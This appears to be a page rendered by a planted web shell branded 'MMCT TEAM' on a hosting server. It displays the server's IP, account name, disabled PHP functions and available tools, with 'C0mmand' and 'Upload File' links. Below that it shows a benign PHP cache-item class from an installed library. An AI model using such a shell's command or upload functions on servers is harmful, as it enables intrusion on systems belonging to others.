MMCT TEAM
Server IP : 103.191.208.50  /  Your IP : 216.73.216.53
Web Server : LiteSpeed
System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64
User : celkcksm ( 1031)
PHP Version : 7.4.33
Disable Function : show_source, system, shell_exec, passthru, popen, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/celkcksm/hrms.ncriptech.com/vendor/beste/in-memory-cache/src/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/celkcksm/hrms.ncriptech.com/vendor/beste/in-memory-cache/src/CacheItem.php
<?php

namespace Beste\Cache;

use Psr\Cache\CacheItemInterface;
use Psr\Clock\ClockInterface;

/**
 * @internal
 */
final class CacheItem implements CacheItemInterface
{
    private mixed $value;
    private ?\DateTimeInterface $expiresAt;
    private bool $isHit;

    public function __construct(private readonly CacheKey $key, private readonly ClockInterface $clock)
    {
        $this->value = null;
        $this->expiresAt = null;
        $this->isHit = false;
    }

    public function getKey(): string
    {
        return $this->key->toString();
    }

    public function get(): mixed
    {
        if ($this->isHit()) {
            return $this->value;
        }

        return null;
    }

    public function isHit(): bool
    {
        if ($this->isHit === false) {
            return false;
        }

        if ($this->expiresAt === null) {
            return true;
        }

        return $this->clock->now()->getTimestamp() < $this->expiresAt->getTimestamp();
    }

    public function set(mixed $value): static
    {
        $this->isHit = true;
        $this->value = $value;

        return $this;
    }

    public function expiresAt(?\DateTimeInterface $expiration): static
    {
        $this->expiresAt = $expiration;

        return $this;
    }

    public function expiresAfter(\DateInterval|int|null $time): static
    {
        if ($time === null) {
            $this->expiresAt = null;
            return $this;
        }

        if (is_int($time)) {
            $time = new \DateInterval("PT{$time}S");
        }

        $this->expiresAt = $this->clock->now()->add($time);

        return $this;
    }
}

MMCT - 2023